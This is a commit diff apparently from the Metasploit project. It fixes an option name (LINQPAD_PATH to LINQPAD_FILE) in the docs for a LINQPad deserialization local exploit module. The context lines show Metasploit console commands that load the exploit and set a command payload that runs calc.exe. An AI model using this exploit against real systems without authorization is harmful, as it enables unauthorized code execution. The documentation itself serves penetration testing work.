Renames incorrect option in documentation

Co-authored-by: Brendan <[email protected]>

Author: msutovsky-r7

documentation/modules/exploit/windows/local/linqpad_deserialization.md

@@ -42,7 +42,7 @@ msf6 exploit(multi/handler) > run
 meterpreter > background
 [*] Backgrounding session 1...
 msf6 exploit(multi/handler) > use windows/local/linqpad_deserialization
-msf6 exploit(windows/local/linqpad_deserialization) > set LINQPAD_PATH C:/ProgramData/LINQPad/Updates50.AnyCPU/552/LINQPad.exe
+msf6 exploit(windows/local/linqpad_deserialization) > set LINQPAD_FILE C:/ProgramData/LINQPad/Updates50.AnyCPU/552/LINQPad.exe
 msf6 exploit(windows/local/linqpad_deserialization) > set payload windows/exec/cmd
 msf6 exploit(windows/local/linqpad_deserialization) > set cache_path C:/Users/ms/AppData/Local/LINQPad
 msf6 exploit(windows/local/linqpad_deserialization) > set CMD calc.exe